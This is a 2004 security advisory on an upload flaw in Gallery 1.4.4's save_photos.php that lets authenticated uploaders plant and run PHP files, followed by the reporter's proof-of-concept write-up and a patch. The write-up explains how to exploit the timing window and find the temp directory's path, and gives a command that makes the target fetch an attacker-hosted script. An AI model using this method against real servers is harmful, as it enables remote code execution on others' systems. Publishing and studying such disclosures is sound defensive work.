Gallery Input Validation Error in 'save_photos.php' Lets Remote Users Upload and Execute Files
|
|
SecurityTracker Alert ID: 1010971
|
|
SecurityTracker URL: http://securitytracker.com/id?1010971
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Aug 18 2004
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.4.4
|
Description: An input validation vulnerability was reported in Gallery in 'save_photos.php'. A remote authenticated user with upload privileges may be able to execute arbitrary commands on the target system.
aCiDBiTS reported that if the temporary directory is a web-accessible directory, then a remote authenticated user with upload privileges
can upload a file using the 'URL method' to create an arbitrary PHP file on the target system. The file can then be executed via
the web server.
The report indicates that when the file is subsequently downloaded, the copy in the temporary directory can be
accessed for up to 30 seconds.
It is also reported that a remote authenticated user with upload privileges can send a filename
that is longer than permitted by the target system to determine the location of the temporary directory.
|
Impact: A remote authenticated user with upload privileges may be able to execute arbitrary PHP commands on the target system with the privileges of the target web service.
|
Solution: No vendor solution was available at the time of this entry.
The author of the report has provided the following unofficial workaround:
save_photos.php,
line 154:
$file = $gallery->app->tmpDir . "/photo.$name";
Insert:
if(strlen($name)>20) $name=substr($name,strlen($name)-20);
if
(!acceptableFormat(strtolower(ereg_replace(".*\.([^\.]*)$", "\\1",
$name)))) die( "\nInvalid file type!\n");
$file = $gallery->app->tmpDir
. "/photo.$name";

Vendor URL: gallery.sourceforge.net/ (Links to External Site)

Cause: Access control error, Input validation error

Underlying OS: Linux (Any), UNIX (Any)

Gallery 1.4.4 save_photos.php PHP Insertion Proof of Concept
By aCiDBiTS acidbits@hotmail.com 17-August-2004
++ Vulnerability description ++
Gallery (http://gallery.sf.net/) is a PHP image gallery script. Having
permission to upload photos in some album and the temporal directory is in
the webtree, then it is possible to create a file with any extension and
content. Tested in v 1.4.4, maybe older versions also vulnerable.
When uploading photos with the "URL method", they are saved in the temporal
directory before processing them. Any file with any content is accepted.
After downloading, the file is processed (discarded if it is not an image)
and deleted from the temporal directory.
When the script downloads the file to the temporal directory there's the
function set_time_limit() that by default waits 30 seconds to abort the
process if no more data is recieved and the transfer connection isn't
closed. If the temporal directory is in the webtree, during this 30 seconds
timeout we can access to the file, executing it.
There's also a "directory disclosure" that I've used to determine if the
temporal directory is in gallery's webtree. It consists in sending a longer
filename than permited by the filesystem for the image upload name.
++ How this Proof of Concept works ++
1. You need to have a fake image script (like galfakeimg.php) in a web
accessible by gallery to download it.
2. The script searches for an Album with "everybody" permission to add
photos.
3. Checks if the temporal directory is in the webtree.
4. Tell gallery to download the fake_photo that contains the script.
5. After XEC_TIMEOUT seconds waiting, it executes the temp file and
test.php is created.
Usage (in my debian box):
php4 -q ./gal_poc.php "http://192.168.1.22/galfakeimg.php"
"http://127.0.0.1/gallery"
NOTE: If there are no albums with public permissions to add photos and you
have a valid login, modify the script adding your login cookie.
++ Workaround ++
save_photos.php, line 154:
$file = $gallery->app->tmpDir . "/photo.$name";
Insert:
if(strlen($name)>20) $name=substr($name,strlen($name)-20);
if (!acceptableFormat(strtolower(ereg_replace(".*\.([^\.]*)$", "\\1",
$name)))) die( "\nInvalid file type!\n");
$file = $gallery->app->tmpDir . "/photo.$name";
++ galfakeimg.php ++
This is the content of galfakeimg.php. It has to be placed in a remote web
directory accessible by the gallery script.
